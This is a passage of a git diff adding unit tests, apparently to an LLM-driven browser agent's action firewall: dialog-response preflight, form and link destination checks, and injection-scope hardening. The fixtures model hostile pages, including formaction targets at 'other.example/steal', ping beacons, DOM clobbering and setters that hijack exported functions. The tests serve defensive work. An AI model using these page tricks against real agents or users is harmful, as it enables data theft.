{"page": page, "dialog_type": "confirm", "response": "accept", "site": "dialog_handler"}+ ]++ @pytest.mark.asyncio+ async def test_llm_accepted_prompt_is_preflighted(+ self, isolated_context: SkyvernContext, preflight_spy: list[dict], monkeypatch: pytest.MonkeyPatch+ ) -> None:+ isolated_context.navigation_goal = "goal"+ monkeypatch.setattr(dialog_handler.prompt_engine, "load_prompt", lambda *a, **k: "prompt")+ monkeypatch.setattr(+ dialog_handler.app,+ "SECONDARY_LLM_API_HANDLER",+ AsyncMock(return_value={"action": "accept", "prompt_text": "Jamie"}),+ )+ dialog = _make_dialog("prompt", "Enter your name:")+ await dialog_handler._handle_dialog(dialog, page=MagicMock())+ dialog.accept.assert_awaited_once_with("Jamie")+ assert [call["dialog_type"] for call in preflight_spy] == ["prompt"]++ @pytest.mark.asyncio+ async def test_a_dismissal_is_preflighted_too(+ self, isolated_context: SkyvernContext, preflight_spy: list[dict], monkeypatch: pytest.MonkeyPatch+ ) -> None:+ isolated_context.navigation_goal = "goal"+ monkeypatch.setattr(dialog_handler.prompt_engine, "load_prompt", lambda *a, **k: "prompt")+ monkeypatch.setattr(+ dialog_handler.app,+ "SECONDARY_LLM_API_HANDLER",+ AsyncMock(return_value={"action": "dismiss"}),+ )+ dialog = _make_dialog("confirm", "Are you sure?")+ await dialog_handler._handle_dialog(dialog, page=MagicMock())+ dialog.dismiss.assert_awaited_once()+ dialog.accept.assert_not_awaited()+ # THE CHOICE IS THE CAPABILITY: a page can branch on dismiss (probed in real Chromium+ # firing an exfil POST specifically on it), so dismissal is evaluated like acceptance.+ assert [(call["dialog_type"], call["response"]) for call in preflight_spy] == [("confirm", "dismiss")]++ @pytest.mark.asyncio+ async def test_the_llm_error_fallback_accept_is_still_preflighted(+ self, isolated_context: SkyvernContext, preflight_spy: list[dict], monkeypatch: pytest.MonkeyPatch+ ) -> None:+ isolated_context.navigation_goal = "goal"+ monkeypatch.setattr(dialog_handler.prompt_engine, "load_prompt", lambda *a, **k: "prompt")+ monkeypatch.setattr(+ dialog_handler.app, "SECONDARY_LLM_API_HANDLER", AsyncMock(side_effect=RuntimeError("llm down"))+ )+ dialog = _make_dialog("confirm", "Proceed?")+ await dialog_handler._handle_dialog(dialog, page=MagicMock())+ dialog.accept.assert_awaited_once()+ assert [call["dialog_type"] for call in preflight_spy] == ["confirm"]++ @pytest.mark.asyncio+ async def test_alert_accepts_are_not_preflighted_but_beforeunload_accepts_are(+ self, isolated_context: SkyvernContext, preflight_spy: list[dict]+ ) -> None:+ # Alert has one possible response — no choice, no capability. Accepting a beforeunload+ # commits a pending navigation, so it routes through the choke point.+ alert = _make_dialog("alert", "message")+ await dialog_handler._handle_dialog(alert, page=MagicMock())+ alert.accept.assert_awaited_once()+ assert preflight_spy == []++ beforeunload = _make_dialog("beforeunload", "message")+ await dialog_handler._handle_dialog(beforeunload, page=MagicMock())+ beforeunload.accept.assert_awaited_once()+ assert [(call["dialog_type"], call["response"]) for call in preflight_spy] == [("beforeunload", "accept")]++ @pytest.mark.asyncio+ async def test_the_response_is_identical_with_the_real_preflight_observing(+ self, isolated_context: SkyvernContext, monkeypatch: pytest.MonkeyPatch+ ) -> None:+ # Parity with the REAL function, not a spy, on an ENROLLED run whose decision is a real+ # DENIED (unenrolled parity is vacuous: NOT_ENROLLED cannot tempt a handler into+ # branching). The accept calls must match exactly between disabled and observe modes, or+ # observe mode changed a dialog's fate.+ from skyvern.config import settings+ from skyvern.forge.sdk.browser_action_policy import PolicyOutcome, declare_policy+ from skyvern.forge.sdk.browser_action_preflight import preflight_dialog_response++ isolated_context.browser_action_policy = declare_policy(owner_id="wr_test", origin_urls=["https://example.com"])+ monkeypatch.setattr(settings, "BROWSER_ACTION_POLICY_MODE", "observe")+ page = MagicMock()+ decision = preflight_dialog_response(page, dialog_type="confirm", response="accept", site="test")+ assert decision is not None and decision.outcome is PolicyOutcome.DENIED++ accepts: dict[str, object] = {}+ for mode in ("disabled", "observe"):+ monkeypatch.setattr(settings, "BROWSER_ACTION_POLICY_MODE", mode)+ dialog = _make_dialog("confirm", "Are you sure?")+ await dialog_handler._handle_dialog(dialog, page=page)+ accepts[mode] = (dialog.accept.await_args_list, dialog.dismiss.await_args_list)+ assert accepts["disabled"] == accepts["observe"]++ @pytest.mark.asyncio+ async def test_registration_hands_the_handler_its_own_page(+ self, isolated_context: SkyvernContext, preflight_spy: list[dict]+ ) -> None:+ # "Dialog registration records the originating page": the listener is bound to the page it+ # was registered on, so the preflight always receives that page and never a guess.+ registered: dict[str, object] = {}++ page = MagicMock()+ page.on = lambda event, handler: registered.update({event: handler})+ browser_context = MagicMock()+ browser_context.pages = [page]+ browser_context.on = MagicMock()++ dialog_handler._registered_contexts.discard(browser_context)+ dialog_handler.set_dialog_handler(browser_context)+ listener = registered["dialog"]+ await listener(_make_dialog("confirm", "Sure?"))+ assert [call["page"] for call in preflight_spy] == [page]++ def test_a_page_is_never_double_registered(self) -> None:+ # A fresh partial per registration has no pyee identity dedupe; the page guard restores+ # it, or a double-registered page would answer one dialog twice.+ registrations: list[object] = []+ page = MagicMock()+ page.on = lambda event, handler: registrations.append(handler)+ for _ in range(2):+ browser_context = MagicMock()+ browser_context.pages = [page]+ browser_context.on = MagicMock()+ dialog_handler.set_dialog_handler(browser_context)+ assert len(registrations) == 1diff --git a/tests/unit/test_domutils_destination_facts.js b/tests/unit/test_domutils_destination_facts.jsnew file mode 100644index 000000000..ceac92fdd--- /dev/null+++ b/tests/unit/test_domutils_destination_facts.js@@ -0,0 +1,636 @@+/**+ * Behavioral tests for buildDestinationFacts in domUtils.js (SKY-12875).+ *+ * The facts are STALE, UNTRUSTED PREFLIGHT INPUT for the browser action firewall: a hostile page+ * controls every attribute read here, so the function must fail closed (null / url:null) on+ * anything malformed, clobbered, or throwing — never throw out of a scrape.+ * Exit 0 = pass, non-zero = failures on stderr.+ */++const assert = require("node:assert");+const fs = require("fs");+const path = require("path");++const src = fs.readFileSync(+ path.join(__dirname, "../../skyvern/webeye/scraper/domUtils.js"),+ "utf8",+);++function extract(name) {+ const fnStart = src.indexOf(`function ${name}(`);+ if (fnStart === -1) throw new Error(`${name} not found in domUtils.js`);+ const bodyStart = src.indexOf("{", fnStart);+ let depth = 0,+ fnEnd = -1;+ for (let i = bodyStart; i < src.length; i++) {+ if (src[i] === "{") depth++;+ else if (src[i] === "}") {+ depth--;+ if (depth === 0) {+ fnEnd = i + 1;+ break;+ }+ }+ }+ return src.substring(fnStart, fnEnd);+}++const buildDestinationFacts = new Function(+ `${extract("normalizeFormMethod")}\n${extract("buildDestinationFacts")}\nreturn buildDestinationFacts;`,+)();++const DOC = {+ URL: "https://site.example/dir/page?q=1",+ baseURI: "https://site.example/dir/",+};++function stubElement({ tag, attrs = {}, form = undefined, doc = DOC }) {+ return {+ tagName: tag,+ form: form,+ ownerDocument: doc,+ getAttribute(name) {+ return Object.prototype.hasOwnProperty.call(attrs, name)+ ? attrs[name]+ : null;+ },+ };+}++function stubForm(attrs = {}) {+ return {+ getAttribute(name) {+ return Object.prototype.hasOwnProperty.call(attrs, name)+ ? attrs[name]+ : null;+ },+ };+}++const failures = [];+function check(name, fn) {+ try {+ fn();+ console.log(`ok: ${name}`);+ } catch (error) {+ failures.push(name);+ console.error(`FAIL: ${name}\n${error && error.message}`);+ }+}++check("relative anchor href resolves against the document base", () => {+ const facts = buildDestinationFacts(+ stubElement({ tag: "a", attrs: { href: "next/page" } }),+ "a",+ );+ assert.deepStrictEqual(facts, {+ kind: "anchor",+ url: "https://site.example/dir/next/page",+ });+});++check("absolute anchor href passes through", () => {+ const facts = buildDestinationFacts(+ stubElement({ tag: "a", attrs: { href: "https://other.example/x" } }),+ "a",+ );+ assert.deepStrictEqual(facts, {+ kind: "anchor",+ url: "https://other.example/x",+ });+});++check("anchor without href bears no destination structure", () => {+ assert.strictEqual(+ buildDestinationFacts(stubElement({ tag: "a" }), "a"),+ null,+ );+});++check("javascript: href is preserved for the policy layer to refuse", () => {+ const facts = buildDestinationFacts(+ stubElement({ tag: "a", attrs: { href: "javascript:void(0)" } }),+ "a",+ );+ assert.deepStrictEqual(facts, { kind: "anchor", url: "javascript:void(0)" });+});++check("unresolvable href is opaque, not a throw", () => {+ const facts = buildDestinationFacts(+ stubElement({+ tag: "a",+ attrs: { href: "http://[" },+ doc: { URL: "x", baseURI: "not a base" },+ }),+ "a",+ );+ assert.deepStrictEqual(facts, { kind: "anchor", url: null });+});++check("form-owned control resolves the owner's action and method", () => {+ const form = stubForm({ action: "/submit", method: "POST" });+ const facts = buildDestinationFacts(+ stubElement({ tag: "input", attrs: { type: "text" }, form }),+ "input",+ );+ assert.deepStrictEqual(facts, {+ kind: "form",+ url: "https://site.example/submit",+ method: "post",+ });+});++check(+ "missing or empty form action submits to the document URL per spec",+ () => {+ for (const attrs of [{}, { action: "" }]) {+ const facts = buildDestinationFacts(+ stubElement({+ tag: "input",+ attrs: { type: "text" },+ form: stubForm(attrs),+ }),+ "input",+ );+ assert.deepStrictEqual(facts, {+ kind: "form",+ url: "https://site.example/dir/page?q=1",+ method: "get",+ });+ }+ },+);++check("submitter formaction and formmethod override the owner", () => {+ const form = stubForm({ action: "/submit", method: "post" });+ const facts = buildDestinationFacts(+ stubElement({+ tag: "input",+ attrs: {+ type: "submit",+ formaction: "https://other.example/steal",+ formmethod: "dialog",+ },+ form,+ }),+ "input",+ );+ assert.deepStrictEqual(facts, {+ kind: "form",+ url: "https://other.example/steal",+ method: "dialog",+ });+});++check("a button with no type attribute is a submitter", () => {+ const form = stubForm({ action: "/submit" });+ const facts = buildDestinationFacts(+ stubElement({ tag: "button", attrs: { formaction: "/other" }, form }),+ "button",+ );+ assert.deepStrictEqual(facts, {+ kind: "form",+ url: "https://site.example/other",+ method: "get",+ });+});++check(+ "a form-owned type=button control is opaque: its click is script, not submission",+ () => {+ // The same control outside a form is opaque; an ancestor form must not lend it a known+ // destination. Non-submitting click controls stage no data and never submit, so classifying+ // them by the form's action would mark arbitrary script as a known, checkable destination.+ for (const type of ["button", "reset"]) {+ const form = stubForm({ action: "/submit" });+ const facts = buildDestinationFacts(+ stubElement({+ tag: "button",+ attrs: { type: type, formaction: "https://other.example/x" },+ form,+ }),+ "button",+ );+ assert.strictEqual(facts, null);+ }+ },+);++check("a form-owned reset input is opaque for the same reason", () => {+ const form = stubForm({ action: "/submit" });+ for (const type of ["button", "reset"]) {+ const facts = buildDestinationFacts(+ stubElement({ tag: "input", attrs: { type: type }, form }),+ "input",+ );+ assert.strictEqual(facts, null);+ }+});++check("a hidden ancestor form still owns its controls", () => {+ // display:none never enters the interactable tree, but element.form still resolves it and the+ // browser still submits through it; the real-browser smoke run proves the same end to end.+ const hiddenForm = stubForm({ action: "/submit-here", method: "post" });+ const facts = buildDestinationFacts(+ stubElement({ tag: "input", attrs: { type: "text" }, form: hiddenForm }),+ "input",+ );+ assert.deepStrictEqual(facts, {+ kind: "form",+ url: "https://site.example/submit-here",+ method: "post",+ });+});++check(+ "element.form is the effective owner: null owner means no destination",+ () => {+ // Covers both a control outside any form and a form= attribute naming a missing or non-form id,+ // which the .form IDL resolves to null rather than to the ancestor form.+ assert.strictEqual(+ buildDestinationFacts(+ stubElement({ tag: "input", attrs: { type: "text" }, form: null }),+ "input",+ ),+ null,+ );+ },+);++check(+ "a clobbered form (getAttribute shadowed by a named control) fails closed",+ () => {+ // HTMLFormElement's named getter is [LegacyOverrideBuiltIns]: <input name=getAttribute> shadows+ // the method. Trusting anything else the form says would trust the clobberer.+ const clobbered = { getAttribute: {} };+ assert.strictEqual(+ buildDestinationFacts(+ stubElement({ tag: "input", attrs: { type: "text" }, form: clobbered }),+ "input",+ ),+ null,+ );+ },+);++check("a throwing accessor never escapes the scrape", () => {+ const hostile = {+ tagName: "a",+ ownerDocument: DOC,+ getAttribute() {+ throw new Error("boom");+ },+ };+ assert.strictEqual(buildDestinationFacts(hostile, "a"), null);+});++check("an unknown form method normalizes to get", () => {+ const form = stubForm({ action: "/submit", method: "TELEPORT" });+ const facts = buildDestinationFacts(+ stubElement({ tag: "input", attrs: { type: "text" }, form }),+ "input",+ );+ assert.strictEqual(facts.method, "get");+});++check("a non-destination element yields no fact at all", () => {+ assert.strictEqual(+ buildDestinationFacts(stubElement({ tag: "div", form: undefined }), "div"),+ null,+ );+});++check("an invalid button type is a submitter, as browsers normalize it", () => {+ // The type attribute's invalid-value default is "submit": <button type=garbage formaction=evil>+ // SUBMITS to evil. Recording the owner form's safe action instead would be a fail-open —+ // policy would authorize a destination the browser never uses.+ const form = stubForm({ action: "/submit" });+ const facts = buildDestinationFacts(+ stubElement({+ tag: "button",+ attrs: { type: "garbage", formaction: "https://other.example/steal" },+ form,+ }),+ "button",+ );+ assert.deepStrictEqual(facts, {+ kind: "form",+ url: "https://other.example/steal",+ method: "get",+ });+});++check(+ "an invalid input type is not a submitter, as browsers normalize it to text",+ () => {+ const form = stubForm({ action: "/submit" });+ const facts = buildDestinationFacts(+ stubElement({+ tag: "input",+ attrs: { type: "garbage", formaction: "https://other.example/steal" },+ form,+ }),+ "input",+ );+ assert.deepStrictEqual(facts, {+ kind: "form",+ url: "https://site.example/submit",+ method: "get",+ });+ },+);++check(+ "a ping-bearing anchor is opaque: one URL cannot represent its destinations",+ () => {+ // <a ping=...> sends cross-origin POST beacons on activation, so a complete-looking href fact+ // would under-describe where a click sends data. Opaque classifies INCOMPLETE downstream.+ const facts = buildDestinationFacts(+ stubElement({+ tag: "a",+ attrs: { href: "/next", ping: "https://collector.example/beacon" },+ }),+ "a",+ );+ assert.deepStrictEqual(facts, { kind: "anchor", url: null });+ },+);++check("an oversized destination URL is opaque, not amplified", () => {+ // The action attribute is one page-supplied string, but the capture would duplicate it into+ // every owned control: capping stops O(controls x URL-length) payload amplification, and the+ // over-cap record degrades to INCOMPLETE rather than to trust.+ const huge = "https://site.example/" + "a".repeat(5000);+ const anchor = buildDestinationFacts(+ stubElement({ tag: "a", attrs: { href: huge } }),+ "a",+ );+ assert.deepStrictEqual(anchor, { kind: "anchor", url: null });+ const form = stubForm({ action: huge });+ const control = buildDestinationFacts(+ stubElement({ tag: "input", attrs: { type: "text" }, form }),+ "input",+ );+ assert.deepStrictEqual(control, { kind: "form", url: null, method: "get" });+});++check("a whitespace-only form action submits to the document URL (L1)", () => {+ // Same rule as the submitter override, on the owner form's own action attribute: the URL parser+ // strips leading/trailing C0-and-space, so " " is an EMPTY action.+ const facts = buildDestinationFacts(+ stubElement({+ tag: "input",+ attrs: { type: "text" },+ form: stubForm({ action: " \t\n " }),+ }),+ "input",+ );+ assert.deepStrictEqual(facts, {+ kind: "form",+ url: "https://site.example/dir/page?q=1",+ method: "get",+ });+});++check("the URL parser is never handed an over-cap base (M3b)", () => {+ // The base cap is a COST control, and the resolved cap hides it from the output: resolving+ // "next" against a 5000-char base produces an over-cap url either way, so only what the parser+ // was CALLED with distinguishes them. A local URL binding shadows the global for the extracted+ // code, which is how the argument becomes observable.+ const spy = new Function(+ `const bases = [];+ class URL extends globalThis.URL {+ constructor(raw, base) {+ bases.push(base === undefined ? -1 : String(base).length);+ super(raw, base);+ }+ }+ ${extract("normalizeFormMethod")}+ ${extract("buildDestinationFacts")}+ return { build: buildDestinationFacts, bases };`,+ )();+ const hugeBase = "https://site.example/" + "b".repeat(1000000) + "/";+ spy.build(+ {+ tagName: "a",+ form: undefined,+ ownerDocument: {+ URL: "https://site.example/dir/page",+ baseURI: hugeBase,+ },+ getAttribute: (name) => (name === "href" ? "next" : null),+ },+ "a",+ );+ assert.ok(+ spy.bases.every((length) => length <= 4096),+ `the parser was handed a base of ${Math.max(...spy.bases)} chars`,+ );+});++check("an over-cap base URI is not resolved against (M3b)", () => {+ // Resolving a short relative href against a page-controlled 1MB <base> builds a 1MB string per+ // element, before any cap on the RESULT can reject it. Bounding the base is what stops the work,+ // so a relative href degrades to opaque while an absolute one still resolves on its own.+ const hugeBaseDoc = {+ URL: "https://site.example/dir/page?q=1",+ baseURI: "https://site.example/" + "b".repeat(5000) + "/",+ };+ assert.deepStrictEqual(+ buildDestinationFacts(+ stubElement({ tag: "a", attrs: { href: "next" }, doc: hugeBaseDoc }),+ "a",+ ),+ { kind: "anchor", url: null },+ );+ assert.deepStrictEqual(+ buildDestinationFacts(+ stubElement({+ tag: "a",+ attrs: { href: "https://other.example/x" },+ doc: hugeBaseDoc,+ }),+ "a",+ ),+ { kind: "anchor", url: "https://other.example/x" },+ );+});++check(+ "a whitespace-only submitter override still overrides, like empty (L1)",+ () => {+ // Chromium strips leading/trailing C0-and-space before parsing a URL, so formaction=" " is+ // an EMPTY action: the DOCUMENT URL, not the owner form's action and not <base>. Resolving it+ // instead pointed the fact at a different ORIGIN than the browser's own submission.+ const form = stubForm({ action: "/owner-action", method: "post" });+ const facts = buildDestinationFacts(+ stubElement({+ tag: "input",+ attrs: { type: "submit", formaction: " \t\n ", formmethod: " " },+ form,+ }),+ "input",+ );+ assert.deepStrictEqual(facts, {+ kind: "form",+ url: "https://site.example/dir/page?q=1",+ method: "get",+ });+ },+);++check("a present-but-empty submitter override still overrides (F6)", () => {+ // Chromium submits formaction="" to the DOCUMENT URL and normalizes formmethod="" to GET.+ // Treating empty as absent recorded the owner's action+method while the browser went+ // elsewhere — the invalid-button-type fail-open's sibling, falsified on the wire.+ const form = stubForm({ action: "/owner-action", method: "post" });+ const facts = buildDestinationFacts(+ stubElement({+ tag: "input",+ attrs: { type: "submit", formaction: "", formmethod: "" },+ form,+ }),+ "input",+ );+ assert.deepStrictEqual(facts, {+ kind: "form",+ url: "https://site.example/dir/page?q=1",+ method: "get",+ });+});++check(+ "the cap bounds the RESOLVED value, not just the raw attribute (F1)",+ () => {+ // 4000 raw chars of a compact non-ASCII character percent-encode to ~9x on resolution; a+ // raw-only cap admits them and the fact is duplicated into every owned control.+ const compact = "é".repeat(4000);+ const facts = buildDestinationFacts(+ stubElement({ tag: "a", attrs: { href: "/" + compact } }),+ "a",+ );+ assert.deepStrictEqual(facts, { kind: "anchor", url: null });+ },+);++check(+ "capture is flag-gated and budgeted at the attach site (F1/F4 source pin)",+ () => {+ // The budget's own behavior is covered below; this pins the two things only the attach site+ // can express — that capture is gated, and that an EXHAUSTED budget short-circuits before+ // buildDestinationFacts runs, which is what bounds resolution work and not just output.+ const attach = extract("buildElementObject");+ assert.ok(+ attach.includes(+ "if (__captureDestinationFacts && __destinationFactBudget > 0)",+ ),+ "capture flag gate or pre-build budget check deleted",+ );+ assert.ok(+ attach.includes("chargeDestinationBudget("),+ "budget charge deleted",+ );+ const build = extract("buildTreeFromBody");+ assert.ok(+ build.includes(+ "__captureDestinationFacts = captureDestinationFacts === true",+ ),+ "flag set deleted",+ );+ assert.ok(+ build.includes("__destinationFactBudget = 524288"),+ "budget init deleted",+ );+ assert.ok(+ build.includes("__captureDestinationFacts = false"),+ "flag reset deleted",+ );+ },+);++check("buildElementObject attaches the facts to the element object", () => {+ // The behavioral checks above drive buildDestinationFacts directly; this pins the production+ // attach site, so deleting the attachment cannot leave this suite green.+ const body = extract("buildElementObject");+ assert.ok(+ /buildDestinationFacts\(\s*element,\s*elementTagNameLower,?\s*\)/.test(+ body,+ ),+ "buildElementObject no longer computes destination facts",+ );+ assert.ok(+ body.includes("elementObj.destination = destinationFacts"),+ "buildElementObject no longer attaches destination facts",+ );+});++// The per-build byte budget shipped with only a source pin, so deleting it left the whole suite+// green while 15,000 elements produced 840,000 bytes of facts. These drive the real charge+// function, with the real overhead constant read out of the source.+const OVERHEAD = Number(+ /const DESTINATION_FACT_OVERHEAD = (\d+);/.exec(src)[1],+);+function budgetHarness(startingBudget) {+ return new Function(+ `let __destinationFactBudget = ${startingBudget};+ const DESTINATION_FACT_OVERHEAD = ${OVERHEAD};+ ${extract("chargeDestinationBudget")}+ return {+ charge: chargeDestinationBudget,+ remaining: () => __destinationFactBudget,+ };`,+ )();+}++check(+ "the budget charges a fact's whole serialized cost, not just its url",+ () => {+ const budget = budgetHarness(10000);+ const facts = {+ kind: "form",+ url: "https://site.example/x",+ method: "get",+ };+ assert.strictEqual(budget.charge(facts), facts);+ assert.strictEqual(budget.remaining(), 10000 - OVERHEAD - facts.url.length);+ },+);++check("an OPAQUE fact still costs the per-fact overhead", () => {+ // url:null facts are not free: 15,000 of them serialized to 615,000 bytes while a url-only+ // charge said they cost nothing at all.+ const budget = budgetHarness(10000);+ const facts = { kind: "form", url: null, method: "get" };+ assert.strictEqual(budget.charge(facts), facts);+ assert.strictEqual(budget.remaining(), 10000 - OVERHEAD);+});++check(+ "an over-budget fact is DROPPED, and exhaustion zeroes the budget",+ () => {+ // Dropping (not url-nulling) is what bounds the payload, and zeroing is what makes the attach+ // site skip buildDestinationFacts entirely for every later element — resolution is the+ // expensive half and it runs before any per-URL cap can reject the result.+ const budget = budgetHarness(OVERHEAD + 5);+ assert.strictEqual(+ budget.charge({ kind: "anchor", url: "https://site.example/too-long" }),+ null,+ );+ assert.strictEqual(budget.remaining(), 0);+ },+);++check(+ "charging nothing is a no-op the caller can pass straight through",+ () => {+ const budget = budgetHarness(10000);+ assert.strictEqual(budget.charge(null), null);+ assert.strictEqual(budget.remaining(), 10000);+ },+);++if (failures.length > 0) {+ console.error(`${failures.length} failure(s): ${failures.join(", ")}`);+ process.exit(1);+}+console.log("all destination-fact checks passed");diff --git a/tests/unit/test_domutils_injection_scope.js b/tests/unit/test_domutils_injection_scope.jsindex 0ea3030f3..6b4f9ae6a 100644--- a/tests/unit/test_domutils_injection_scope.js+++ b/tests/unit/test_domutils_injection_scope.js@@ -120,4 +120,68 @@ check("loaded script is re-injectable and exports all entry points", () => {}});+// SKY-12875 M2: exports must not be interceptable. `globalThis.x = x` invokes a page-installed+// setter and hands it our genuine function, which let a page serve a wrapper from a getter and+// drive our own builder with arguments we never passed (forcing destination capture on while the+// policy was disabled). These drive the real generated script, not its source text.++check("a page setter never receives an exported function", () => {+ const ctx = makeContext();+ vm.runInContext(+ `globalThis.__stolen = null;+ Object.defineProperty(globalThis, "buildTreeFromBody", {+ configurable: true,+ get() { return globalThis.__stolen; },+ set(value) { globalThis.__stolen = value; },+ });`,+ ctx,+ );+ indirectEval(ctx, wrappedScript);+ assert.strictEqual(+ ctx.__stolen,+ null,+ "the page's setter was invoked by the export",+ );+ assert.strictEqual(+ typeof ctx.buildTreeFromBody,+ "function",+ "the export did not install our function",+ );+});++check("a non-configurable writable global does not break the export", () => {+ // This is the descriptor a real page's top-level `var element = 1` produces, and several+ // exported names are ordinary words — so it is ordinary sites, not attack, and refusing it+ // would break scraping everywhere. Written as an explicit descriptor because `var` inside a vm+ // context is configurable, unlike a browser's; the real-browser case is covered by a Chromium+ // probe.+ const ctx = makeContext();+ vm.runInContext(+ `Object.defineProperty(globalThis, "buildTreeFromBody", {+ value: 1, writable: true, enumerable: true, configurable: false,+ });`,+ ctx,+ );+ indirectEval(ctx, wrappedScript);+ assert.strictEqual(typeof ctx.buildTreeFromBody, "function");+});++check("a locked accessor on an exported global fails injection loudly", () => {+ const ctx = makeContext();+ vm.runInContext(+ `Object.defineProperty(globalThis, "buildTreeFromBody", {+ configurable: false,+ get() { return undefined; },+ set(value) { globalThis.__stolen = value; },+ });`,+ ctx,+ );+ assert.throws(+ () => indirectEval(ctx, wrappedScript),+ /refusing to export over locked global/,+ "injection must refuse rather than run through an interposed global",+ );+ assert.strictEqual(ctx.__stolen, undefined, "the page captured our function");+});+process.exit(failures ? 1 : 0);diff --git a/tests/unit/test_input_text_combobox_commit.py b/tests/unit/test_input_text_combobox_commit.pyindex a927b8592..91d384abd 100644--- a/tests/unit/test_input_text_combobox_commit.py+++ b/tests/unit/test_input_text_combobox_commit.py@@ -23,7 +23,8 @@ import pytestfrom skyvern.forge.sdk.models import StepStatusfrom skyvern.webeye.actions import handler-from skyvern.webeye.actions.actions import InputOrSelectContext, InputTextAction+from skyvern.webeye.actions.action_types import ActionType+from skyvern.webeye.actions.actions import Action, InputOrSelectContext, InputTextActionfrom skyvern.webeye.actions.handler import handle_input_text_actionfrom skyvern.webeye.actions.responses import ActionFailure, ActionSuccessfrom tests.unit.conftest import make_input_element_mock@@ -160,16 +161,35 @@ async def _run_combobox_input(stop_flag: bool,is_search_bar: bool = False,is_location_input: bool = False,+ is_date_related: bool = False,is_secret: bool = False,+ prefilter_typeahead: bool = False,+ prefilter_raises: bool = False,+ use_base_action: bool = False,+ first_block_incremental: list[dict] | None = None,) -> tuple[list, MagicMock, MagicMock]:skyvern_el = make_input_element_mock(element_id="CBX", attrs=attrs)+ if prefilter_raises:+ # Simulate the prefilter typing a prefix then raising mid-dispatch (field left dirty). Raise only on+ # the first call (the Block A prefilter); later calls succeed, so the rest of the flow runs normally.+ _raised = {"done": False}++ def _raise_first(*_args: object, **_kwargs: object) -> None:+ if not _raised["done"]:+ _raised["done"] = True+ raise RuntimeError("partial prefilter dispatch then raise")++ skyvern_el.input_sequentially = AsyncMock(side_effect=_raise_first)dom_instance = MagicMock()dom_instance.get_skyvern_element_by_id = AsyncMock(return_value=skyvern_el)inc = MagicMock()inc.start_listen_dom_increment = AsyncMock()inc.stop_listen_dom_increment = AsyncMock()- if is_secret:+ if first_block_incremental is not None:+ # A typeahead that surfaces options in Block A itself (after the target is typed to filter).+ inc.get_incremental_element_tree = AsyncMock(return_value=first_block_incremental)+ elif is_secret:# Secret-valued params skip Block A's ArrowDown probe (its guard excludes secrets),# so Block B is the first and only incremental read.inc.get_incremental_element_tree = AsyncMock(return_value=options)@@ -183,15 +203,29 @@ async def _run_combobox_input(scraped_page = MagicMock()scraped_page.id_to_element_dict = {"CBX": {"tagName": "input"}}- context = InputOrSelectContext(field="Title", is_search_bar=is_search_bar, is_location_input=is_location_input)+ context = InputOrSelectContext(+ field="Title",+ is_search_bar=is_search_bar,+ is_location_input=is_location_input,+ is_date_related=is_date_related,+ )select_result = MagicMock()select_result.action_result = ActionSuccess() if select_success else ActionFailure(Exception("not committed"))# A secret makes the resolved text differ from action.text, so is_secret_value becomes True.action_text = "{{secret_param}}" if is_secret else _TARGET- action = InputTextAction(element_id="CBX", text=action_text, reasoning="type the job title")- action.stop_batch_after_dropdown_select = stop_flag+ if use_base_action:+ # Production hydrates/replays INPUT_TEXT actions as base ``Action`` (see hydrate_action /+ # get_task_actions), which the dispatcher routes by action_type. Do NOT set the runtime hint here —+ # a base Action lacks it until the fix moves it onto the base model.+ action = Action(action_type=ActionType.INPUT_TEXT, element_id="CBX", text=action_text, reasoning="type it")+ action.stop_batch_after_dropdown_select = stop_flag+ else:+ action = InputTextAction(element_id="CBX", text=action_text, reasoning="type the job title")+ action.stop_batch_after_dropdown_select = stop_flag+ # Admission marks eligible actions; the handler consumes only this runtime flag.+ action.prefilter_typeahead = prefilter_typeaheadselect_mock = AsyncMock(return_value=select_result)@@ -320,3 +354,164 @@ async def test_secret_valued_action_does_not_trigger_select() -> None:)select_mock.assert_not_awaited()assert len(results) == 1 and isinstance(results[0], ActionSuccess)+++# --------------------------------------------------------------------------- #+# handle_input_text_action — runtime prefilter_typeahead flag drives type-before-match+#+# Field admission (which sites/fields qualify) is a Cloud Setup concern and is not tested here. The OSS+# handler consumes only the generic runtime-only InputTextAction.prefilter_typeahead flag, gated by the+# existing safety checks (non-empty resolved text, not date-related, plus the enclosing+# search/location/secret/TOTP/raw exclusions). No site/field strings appear in this OSS-synced file.+# --------------------------------------------------------------------------- #+def test_prefilter_typeahead_flag_excluded_from_serialization() -> None:+ # Runtime-only: set per-step by Cloud Setup, never persisted/serialized.+ action = InputTextAction(element_id="CBX", text=_TARGET)+ action.prefilter_typeahead = True+ assert "prefilter_typeahead" not in action.model_dump()+ assert action.prefilter_typeahead is True+++_FLAG_TYPEAHEAD_ATTRS = {"role": None, "aria-autocomplete": None, "aria-invalid": "false"}+++async def test_prefilter_flag_types_target_to_filter_before_match() -> None:+ """With prefilter_typeahead set (by Cloud Setup), Block A types the target to filter the listbox+ before candidate matching, instead of opening it unfiltered with ArrowDown."""+ results, el, select_mock = await _run_combobox_input(+ attrs=_FLAG_TYPEAHEAD_ATTRS,+ options=_listbox_with_option(_TARGET),+ select_success=True,+ stop_flag=False,+ prefilter_typeahead=True,+ first_block_incremental=_listbox_with_option(_TARGET),+ )+ # entered the target to filter the listbox ...+ entered = [call.args[0] for call in el.input_sequentially.await_args_list if call.args]+ assert _TARGET in entered+ # ... and did NOT fall back to the unfiltered ArrowDown probe+ assert "ArrowDown" not in _pressed_keys(el)+ # the custom-select ran against the filtered listbox and committed the option+ select_mock.assert_awaited_once()+ assert select_mock.await_args.kwargs["target_value"] == _TARGET+ assert select_mock.await_args.kwargs["entry_action_type"] == "input_text"+ assert len(results) == 1 and isinstance(results[0], ActionSuccess)+++async def test_prefilter_flag_failure_clears_before_terminal_fill() -> None:+ """When the flagged prefilter types the target but the block select does NOT commit, the terminal fill+ must clear first so the typed-but-uncommitted value is not doubled (e.g. 'BackendBackend') on the+ fall-through path."""+ results, el, select_mock = await _run_combobox_input(+ attrs=_FLAG_TYPEAHEAD_ATTRS,+ options=_listbox_with_option(_TARGET),+ select_success=False,+ stop_flag=False,+ prefilter_typeahead=True,+ first_block_incremental=_listbox_with_option(_TARGET),+ )+ # prefilter entered the target (Block A) ...+ entered = [call.args[0] for call in el.input_sequentially.await_args_list if call.args]+ assert _TARGET in entered+ # ... the select was attempted but did not commit ...+ select_mock.assert_awaited()+ # ... so the field is cleared again before the terminal fill (Block A clear + terminal clear).+ assert el.input_clear.await_count >= 2+ assert len(results) == 1 and isinstance(results[0], ActionSuccess)+++async def test_prefilter_partial_dispatch_failure_clears_before_terminal_fill() -> None:+ """If the flagged prefilter's input_sequentially dispatches a prefix then raises (field left 